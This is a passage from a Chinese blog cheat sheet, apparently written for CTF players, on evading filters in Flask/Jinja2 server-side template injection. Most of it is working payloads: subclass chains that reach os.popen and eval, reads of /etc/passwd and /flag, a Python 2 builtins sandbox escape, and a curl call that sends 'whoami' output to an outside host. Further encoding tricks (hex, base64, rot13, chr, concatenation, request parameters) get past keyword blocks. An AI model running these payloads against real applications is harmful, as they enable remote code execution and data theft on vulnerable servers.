[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZHvk46MS-1663477021420)(images/RBJxbcvDqQTrZLzb8FCG0MAhEbpDfrwnR7gtKH_o4FU.png)]

3、过滤下划线 _

  • 用编码绕过

比如:__class__ => \x5f\x5fclass\x5f\x5f

_是\x5f,.是\x2E

  • requestt[‘args’]绕过

过滤了_可以用dir(0)[0][0]或者request[‘args’]或者 request[‘values’]绕过

但是如果还过滤了 args,我们可以用request[‘values’]和attr结合绕过

例如’'.__class__写成 ‘’|attr(request[‘values’][‘x1’]),然后post传入x1=__class__

{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()}}&class=__class__&mro=__mro__&subclasses=__subclasses__ 

4、过滤{{或者}}

  • 可以使用{%绕过
  • {%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://b28062db-2569-4bb7-a389-20e3448457ef.challenge.ctf.show/?name=`whoami`').read()=='p'   %}1{% endif %}
  • reload方法

CTF题中沙盒环境可能会阉割一些模块,其中内建函数中多半会被删除。

reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2

del __builtins__.__dict__['__import__']   del __builtins__.__dict__['eval']   del __builtins__.__dict__['execfile']
reload(__builtins__)
  • __getattribute__方法

这个方法之前介绍过了,获取属性。

[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]
等价于
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

5、过滤 .

可以采用attr()或[]绕过

举例:

  • 正常payload:
    
url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}

  • 使用attr()绕过:
?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

|attr(‘__getitem__’)使用【】前加上这个

  • ‘’|attr(“__class__”)可以写成 getattr(‘’,“__class__”)

  • 使用[]绕过:

可以用getitem()用来获取序号

?name={{''.__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}

  • 使用request绕过:
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls   /")["read"]()}}

6、过滤小括号

需要注意的一点是,如果题目过滤了小括号,那么我们就无法执行任何函数了,只能获取一些敏感信息比如题目中的config。

因为如果要执行函数就必须使用小括号来传参,目前我还没找到能够代替小括号进行传参的办法。

7、过滤config参数

{{config}}可以获取当前设置,如果题目类似app.config [‘FLAG’] = os.environ.pop(‘FLAG’),那可以直接访问{{config[‘FLAG’]}}或者{{config.FLAG}}得到flag

但是如果被过滤了

{{self}} ⇒

{{self.__dict__._TemplateReference__context.config}} ⇒ 同样可以找到config

8、过滤关键字

https://blog.csdn.net/miuzzx/article/details/110220425

https://www.anquanke.com/post/id/188172

例:直接过滤了敏感字符,如eval,os等。
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")}}
   
base64
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))}}        (可以看出单双引号内的都可以编码) 

rot13  
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['riny'.decode('rot13')]("__import__('os').popen('ls').read()")}}

16进制编码  
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['6576616C'.decode('hex')]("__import__('os').popen('ls').read()")}}

拼接字符串(base64,hex,rot13也可以进行拼接)
过滤了(ls.import.eval.os)
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['e'+'val']("__im"+"port__('o'+'s').popen('l'+'s').read()")}}

1、拼接

Flask在渲染模板的时候,有

“”.__class__===“”[“__class__”]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。

由于里面的内容已经是字符串了,还可以做一个这样的变形

   
"".__class__===""["__cla"+"ss__"]
  
"cla"+"ss"
     
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
   
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

2、反转

"__ssalc__"[::-1]

但是实际上加号是多余的,在jinjia2里面,“cla”"ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"]
    
"".__getattribute__("__cla""ss__")
     
""["__ssalc__"][::-1]
     
"".__getattribute__("__ssalc__"[::-1])

3、ascii转换

   
"{0:c}".format(97)='a'
   
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
 
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}

注意:+号要编码%2b

4、编码绕过

base64**、**rot13、16进制编码

“__class__”“\x5f\x5fclass\x5f\x5f”“\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f”

对于python2的话,还可以利用base64进行绕过

   
"__class__"==("X19jbGFzc19f").decode("base64")
   
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
   
等价于
   
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码)

5、利用chr函数

因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

?name={% set   chr=url_for.__globals__.__builtins__.chr %}{% print    url_for.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read()%}      
   
//[os][popen](cat /flag)

6、在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}

7、大小写转换

前提是过滤的只是小写

""["__CLASS__".lower()]

8、利用过滤器

('__clas','s__')|join
   
["__CLASS__"|lower
   
"__claee__"|replace("ee","ss")   
   
"__ssalc__"|reverse
   
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
    
(()|select|string)[24]~
   
(()|select|string)[24]~
   
(()|select|string)[15]~
   
(()|select|string)[20]~
   
(()|select|string)[6]~
   
(()|select|string)[18]~
   
(()|select|string)[18]~
   
(()|select|string)[24]~
   
(()|select|string)[24]
     
dict(__clas=a,s__=b)|join 

获取键值或下标

dict['__builtins__']
   
dict.__getitem__('__builtins__')
   
dict.pop('__builtins__')
   
dict.get('__builtins__')
   
dict.setdefault('__builtins__')
   
list[0]
   
list.__getitem__(0)
   
list.pop(0)

获取属性

().__class__
   
()["__class__"]
   
()|attr("__class__")
   
().__getattribute__("__class__") 

9、使用str原生函数:

[‘__add__’, ‘__class__’, ‘__contains__’, ‘__delattr__’, ‘__doc__’, ‘__eq__’, ‘__format__’, ‘__ge__’, ‘__getattribute__’, ‘__getitem__’, ‘__getnewargs__’, ‘__getslice__’, ‘__gt__’, ‘__hash__’, ‘__init__’, ‘__le__’, ‘__len__’, ‘__lt__’, ‘__mod__’, ‘__mul__’, ‘__ne__’, ‘__new__’, ‘__reduce__’, ‘__reduce_ex__’, ‘__repr__’, ‘__rmod__’, ‘__rmul__’, ‘__setattr__’, ‘__sizeof__’, ‘__str__’, ‘__subclasshook__’, ‘_formatter_field_name_split’, ‘_formatter_parser’, ‘capitalize’, ‘center’, ‘count’, ‘decode’, ‘encode’, ‘endswith’, ‘expandtabs’, ‘find’, ‘format’, ‘index’, ‘isalnum’, ‘isalpha’, ‘isdigit’, ‘islower’, ‘isspace’, ‘istitle’, ‘isupper’, ‘join’, ‘ljust’, ‘lower’, ‘lstrip’, ‘partition’, ‘replace’, ‘rfind’, ‘rindex’, ‘rjust’, ‘rpartition’, ‘rsplit’, ‘rstrip’, ‘split’, ‘splitlines’, ‘startswith’, ‘strip’, ‘swapcase’, ‘title’, ‘translate’, ‘upper’, ‘zfill’]

以上即为str的原生函数,我们可以使用decode、replace等来绕过所过滤的关键字。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kIAwAWRt-1663477021421)(images/5f9Zg3VbJsa79VpU1ElwVeAuEtmk0waNLWINGX3x52o.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y4uuQS7d-1663477021421)(images/l7yDJ6OWkmpNy61aQd0kiPqq8qXKy1_f2Qjx15ZWWKo.png)]

10、利用请求方式requests绕过

如果对我们特定的参数进行了严格的过滤,我们就可以使用request来进行绕过,request可以获得请求的相关信息,我们过滤__class__,可以用request.args.a且以GET方式提交a=__class__来替换被过滤的.__class__

举例:
例一:
{{''.__class__}} => {{''[request.args.a]}}&a=__class__
 
例二:
{{''.__class__}} => {{''[request['args']['a']]}}&a=__class__

过滤了_可以用dir(0)[0][0]或者request[‘args’]或者 request[‘values’]绕过

但是如果还过滤了 args,可以用request[‘values’]和attr结合绕过

例如:

‘’.__class__写成 ‘’|attr(request[‘values’][‘a’]),然后post传入a=__class__

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值